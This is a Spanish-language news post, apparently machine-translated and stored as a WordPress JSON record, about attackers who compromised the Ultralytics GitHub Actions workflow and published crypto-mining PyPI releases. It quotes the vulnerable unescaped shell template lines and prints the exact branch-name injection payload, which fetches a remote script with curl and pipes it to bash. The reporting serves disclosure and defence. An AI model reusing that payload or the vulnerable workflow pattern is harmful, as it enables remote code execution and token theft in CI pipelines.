{"id":120890,"date":"2024-12-07T15:46:00","date_gmt":"2024-12-07T13:46:01","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics"},"modified":"2024-12-07T15:46:00","modified_gmt":"2024-12-07T13:46:01","slug":"oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics","status":"publish","type":"post","link":"https:\/\/prohoster.info\/es\/blog\/news\/oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics","title":{"rendered":"Un error en el manejador de GitHub Actions llev\u00f3 a la publicaci\u00f3n de lanzamientos maliciosos de Ultralytics","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
Los atacantes lograron ejecutar c\u00f3digo con los privilegios del manejador de GitHub Actions en el repositorio de la biblioteca de Python Ultralytics, utilizada para resolver tareas de visi\u00f3n por computadora, como la detecci\u00f3n de objetos en im\u00e1genes y la segmentaci\u00f3n de im\u00e1genes. Despu\u00e9s de obtener acceso al repositorio, los atacantes publicaron en el cat\u00e1logo de PyPI varios nuevos lanzamientos de Ultralytics, que inclu\u00edan modificaciones maliciosas para la miner\u00eda de criptomonedas. En el \u00faltimo mes, la biblioteca Ultralytics se ha descargado m\u00e1s de 6,4 millones de veces desde el cat\u00e1logo de PyPI. <\/p>\n
Para comprometer el repositorio, se utiliz\u00f3 una vulnerabilidad en el paquete ultralytics-actions, que se aplica para activar autom\u00e1ticamente manejadores cuando se realizan ciertas acciones con el repositorio en GitHub, utilizando el mecanismo de GitHub Actions. En el proyecto ultralytics, el manejador vulnerable se vincul\u00f3 al evento pull_request_target y se activaba cuando llegaban nuevas solicitudes de extracci\u00f3n. En particular, para formatear el c\u00f3digo en las solicitudes de extracci\u00f3n enviadas, se llamaba al manejador format.yml y se ejecutaba el c\u00f3digo especificado en la secci\u00f3n 'run' del archivo action.yml, que conten\u00eda comandos shell con plantillas de sustituci\u00f3n: git pull origin ${{ github.head_ref || github.ref }} git config --global user.name '${{ inputs.github_username }}' git config --global user.email '${{ inputs.github_email }}' <\/p>\n
As\u00ed, el nombre de la rama de Git mencionada en la solicitud de extracci\u00f3n se insertaba en los comandos shell sin la debida escapatoria. Es notable que en agosto ya se hab\u00eda corregido una vulnerabilidad similar en el paquete ultralytics-actions relacionada con el uso de un valor externo en la funci\u00f3n echo: echo 'github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}' <\/p>\n
Para organizar la ejecuci\u00f3n de su c\u00f3digo en el contexto del manejador de GitHub Actions, los atacantes enviaron una solicitud de pull al repositorio ultralytics, especificando como nombre de la rama: openimbot:$({curl,-sSfL,raw.githubusercontent.com\/ultralytics\/ultralytics\/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545\/file.sh}${IFS}|${IFS}bash) <\/p>\n
Por consiguiente, al recibir la solicitud de extracci\u00f3n, se insert\u00f3 en el c\u00f3digo la cadena proporcionada por los atacantes '$(…)' que, al ejecutar el manejador posteriormente, provoc\u00f3 la ejecuci\u00f3n del c\u00f3digo 'curl -sSfL raw.githubusercontent.com\/…\/file.sh | bash'.
<\/center> <\/p>\n
La ejecuci\u00f3n de c\u00f3digo en el contexto de GitHub Actions puede utilizarse para capturar el token de acceso al repositorio y otros datos confidenciales. No est\u00e1 claro c\u00f3mo los atacantes lograron crear un lanzamiento que les permiti\u00f3 ejecutar su c\u00f3digo en GitHub Actions; se presume que esto fue posible gracias a la modificaci\u00f3n del manejador publish.yml (los atacantes eliminaron la verificaci\u00f3n de la cuenta desde la cual se permite publicar lanzamientos en PyPI) y al uso de la t\u00e9cnica de envenenamiento de cach\u00e9 de compilaci\u00f3n de GitHub Actions para insertar sus propios datos en el lanzamiento. <\/p>\n
El primer lanzamiento malicioso de Ultralytics 8.3.41 fue publicado por los delincuentes en el cat\u00e1logo de PyPI el 4 de diciembre a las 23:51 (MSK) y eliminado a las 12:15 del d\u00eda siguiente. A las 15:47 se public\u00f3 otro lanzamiento 8.3.42, que fue eliminado a las 16:47. As\u00ed, las versiones maliciosas estuvieron disponibles para su descarga durante aproximadamente 13 horas (en un d\u00eda, PyPI registra alrededor de 250,000 descargas de la biblioteca ultralytics). En las versiones 8.3.41 y 8.3.42 hab\u00eda c\u00f3digo que realizaba descargas de un componente externo. servidores<\/a> XMRig para la miner\u00eda de criptomonedas. <\/p>\n
![\"Un](\"\/wp-content\/uploads\/2024\/12\/c734b63e67d629d8af635f4193bfb0d0.png\")
<\/center> <\/p>\n